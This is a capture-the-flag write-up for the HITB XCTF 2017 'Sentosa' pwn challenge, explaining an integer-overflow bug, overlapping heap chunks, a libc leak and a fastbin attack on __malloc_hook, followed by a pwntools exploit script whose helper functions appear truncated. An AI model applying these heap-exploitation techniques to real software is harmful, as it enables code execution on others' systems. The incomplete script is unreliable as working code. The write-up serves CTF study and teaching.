HITB XCTF 2017 PWN Sentosa Write-up


Points:645 Solved:12

The problem is a normal menu challenge based on ptmalloc heap exploitation. The user can allocate multiple projects, view projects and delete projects according to the input from user.

Target Analysis


The user needs to input a chunk size and the size must be less than 0x59. Later the program will allocate a chunk of size+0x15.

struct project{
int size;
char str[size];
int corrupt_check;
int price;
int area;
int capacity;

The vulnerability takes place at the ReadNBytes function during the allocation procedure. The argument size will be decreased by 1 to make sure that the final character of the string is ‘\0’. If the user inputs 0, the the actual size that we can input is 0xffffffff due to integer overflow. If we take a close look at the stack memory, we find that we can overwrite an chunk pointer locating right after the buffer. The chunk buffer will be stored in ProjectList later.


The program will traverse the ProjectList and display the information of each project. This function will later be used for leaking libc base address in our exploit.


We need to input the index of project we want to delete. The program will check that the entry in ProjectList is not null, and check the corrupt_check in the chunk is 1.

Exploit Plan

Firstly, we need to leak the base address of libc address. The first thought came to my mind is to free multiple chunks and use the fd pointer in chunk to leak libc. But I soon realised that such method is impossible because the size and str will overwrite the fd pointer.

Therefore I use the buffer overflow in allocation process to create an overlap chunk in heap. To be more specific, we turn the buffer overflow into an off-by-one error such that the chunk pointer will point to an area allocated before.

After creating the overlap chunk, we have to create a fake chunk, which is of size 0x91 (large enough to assure that the chunk will be inserted into unsorted bin instead of fastbin). The other member in struct project will be used as fake metadata in a fake chunk.

So our final exploit plan is as following:

  • Create overlap chunk at (0xXXXXXXXXX100) and leak libc address via inserting the chunk into unsorted bin.
  • Create overlap chunk at (0xXXXXXXXXX200). But this time we will create such chunks twice, and the address will be stored in ProjectList twice
  • Then we can use a fastbin attack to modify the __malloc_hook in libc and trigger malloc to one_gadget to get the shell.

Alternative method

Actually there is one much simpler method after the competition . The initial step is still to leak libc base address. But following steps are different.

Since the target binary is compiled with stack canary so I missed the possibility of buffer overflow to overwrite the return address directly. As discussed earlier I used the buffer overflow in stack to introduce an off-by-one error in chunk pointer. But actually we can overwrite the whole chunk pointer and store an arbitrary value in ProjectList. Therefore we gain arbitrary reading ability. We can read canary stored in  environ to leak the stack cookie.

Exploit using first method

from pwn import *
DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("", 20007);
    libc = ELF("./libc.so.6");
elif(DEBUG == 1):
    r = process("./sentosa");
    libc = ELF("./libc.so.6");
elif(DEBUG == 2):
    r = process("./sentosa");
    gdb.attach(r, '''source ./script.py''');
    libc = ELF("./libc.so.6");

def create(size, name, price, area, capacity):
    r.recvuntil("Input length of your project name: ");
    r.recvuntil("Input your project name: ");
    r.recvuntil("price: ");
    r.recvuntil("area: ");
    r.recvuntil("capacity: ");

def view():

def cancel(index):
    r.recvuntil("Input your projects number: ");

def halt():

def exploit():
    mallocHookRelAddr = libc.symbols["__malloc_hook"];

    create("40", "A"*0x10, "12", "20", "30");
    create("40", "A"*0x10, "12", "20", "30");
    payload = "B"*0xd;
    create("63", payload, "145", "0", "25");
    create("9", "C"*0x8, "70", "10", "30");
    create("0", "D"*0x5a, "70", "10", "30");
    create("11", "E"*10, "10", "10", "10");
    create("11", "F"*10, "20", "20", "20");
    create("75", "G"*10, "30", "40", "50");

    log.info("stage 1:");
    log.info("Output leaked libc");
    r.recvuntil("Price: ");
    leak1 = r.recvline();
    r.recvuntil("Area: ");
    leak2 = r.recvline();
    log.info("0x%x, 0x%x" %(int(leak1[:-1]), int(leak2[:-1])));
    mallocHookAbsAddr = (int(leak1[:-1])<<32) + (int(leak2[:-1])&0xffffffff)-0x68;     log.info("malloc address: 0x%x" % mallocHookAbsAddr);     libcBase = mallocHookAbsAddr - mallocHookRelAddr ;     log.info("libc base address: 0x%x" % libcBase);     oneGadgetOffset = 0xf0567;     oneGadgetAddr = libcBase + oneGadgetOffset;     mallocUpper = (mallocHookAbsAddr >>32);
    mallocLower = (mallocHookAbsAddr & 0xffffffff);
    log.info("malloc upper: 0x%x malloc lower: 0x%x" % (mallocUpper, mallocLower));
    create("47", "E"*10, "113", "0", "80");
    create("60", "F"*10, "1", "1", "1");
    create("0", "G"*0x5a, "1", "1", "1");
    create("0", "H"*0x5a, "1", "1", "1");
    create("0", "I"*0x5a, "1", "1", "1");
    create("70", "tmp", "1", "1", "1");
    create("47", "J"*10, "113", "0", "80");
    create("70", p32(mallocUpper), "1", "1", "1");
    create("70", "L"*10, "1", "1", "1");
    create("47", "M"*10, "113", "0", str(mallocLower-0x23));
    create("70", "L"*0x40, "1", "1","1");
    create("70", "K"*15 + p64(oneGadgetAddr), "1", "1", "1");
    r.sendline("cat flag");


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s